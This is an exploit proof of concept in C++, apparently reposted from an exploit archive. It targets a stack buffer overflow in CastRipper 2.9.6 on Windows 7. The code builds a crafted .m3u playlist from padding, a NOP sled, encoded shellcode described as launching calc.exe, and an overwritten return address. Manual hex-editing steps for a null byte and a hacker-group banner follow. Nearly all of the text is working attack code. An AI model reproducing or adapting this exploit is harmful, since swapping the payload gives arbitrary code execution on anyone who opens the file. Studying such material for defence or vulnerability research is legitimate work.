/*##################################################### ## ?? %% %% $$$$$ >> > :: ;;;;;;;; ## ## ?? ? %% %% $$ $$ || >> > :: ;; ;; ## ## ????? %%%% $$$$$ ||___ >>> ::::: ;;;;;;; ## ## ?? ?? %% $$$$ || || > :: ;; ## ## %%%%%%%% $$ $$ ||__|| >>>>> ::::: ;;;;;;;; ## ##__________________>>Ayrbyte<<______________________## ## Gamerz From b-compi | pasukan berkompi ## ####################################################### ###################################################################### ## Exploit Title: CastRipper 2.9.6 BoF (bypass aslr) win7 ## ## Author: Ayrbyte ## ## fb: fb.me/Ayrbyte ## ## Vendor or Software Link: Mini-stream Software ## ## Link: http://mini-stream.net/castripper/ ## ## Version: 2.9.6.000 2007.06.09 ## ## Tested on: Windows 7 Ultimate ## ## Code: c++ ## ######################################################################################### ## Greetz To : Zax Oktav, Andy Oioi, Rizaldy Ahmad, Rezza Aulia Pratama, Cloud Sky, ## ## Zet Dot Exe, Gabby X-Friends, Valcon Trignome and all b-compi family ## ######################################################################################### ----------------->We are B-Compi... We are Hacker... We Are Proud...!<----------------------*/ #include using namespace std; /*#----->opcode untuk menjalankan calc.exe<-----#*/ char opcode[] = "\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" "\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf" "\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49" "\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c" "\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda" "\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46" "\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66" "\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42" "\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6" "\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35" "\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b" "\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2" "\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52" "\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55" "\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b" "\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37" "\x8b\x15\x7b\xd2\x2b\xbf\x83"; int len = strlen(opcode); int main(){ /*#----->Membuka file Ayrbyte.m3u<-----#*/ FILE *teksfile; teksfile = fopen("c:\\Ayrbyte.m3u", "w"); /*#----->Menaruh (NOP *32)+opcode ke offset 000F5258<-----#*/ for(int i=0;i < 8677;i++) { fputs("\xCC", teksfile); } for(int i=0;i < 32;i++) { fputs("\x90", teksfile); } fputs(opcode, teksfile); /*#----->Mengisi EIP dengan offset 000F5258-------------------- --------atau "\x58\x52\x0F\x00" dalam bentuk------------------- --------litle-endian nya<-----------------------------------#*/ for(int i=0;i < 17412 - len;i++) { fputs("\xCC", teksfile); } fputs("\x58\x52\x0F\x00", teksfile); /*#----->Mengisi input agar tetap berjumlah 50000<-----#*/ for(int i=0;i < 50000 - (8677+32+len+(17412-len)+4);i++) { fputs("\xCC", teksfile); } /*#----->End Of File<-----#*/ fclose(teksfile); return 0;} /*####################################################### NOTE : first We must change some value manually, coz c++ can't write \x00 value >> open Ayrbyte.m3u on hex editor >> search this hexa "58 52 0F" >> it's on offset 00006600 "CC CC CC CC CC CC CC CC CC 58 52 0F CC CC CC CC" >> replace CC in front of "0F" with "00" >> so it's like this offset 00006600 "CC CC CC CC CC CC CC CC CC 58 52 0F 00 CC CC CC" second to keep EIP, Ayrbyte.m3u path must be in C:\Ayrbyte.m3u #######################################################*/ # 0day.today [2018-04-10] #

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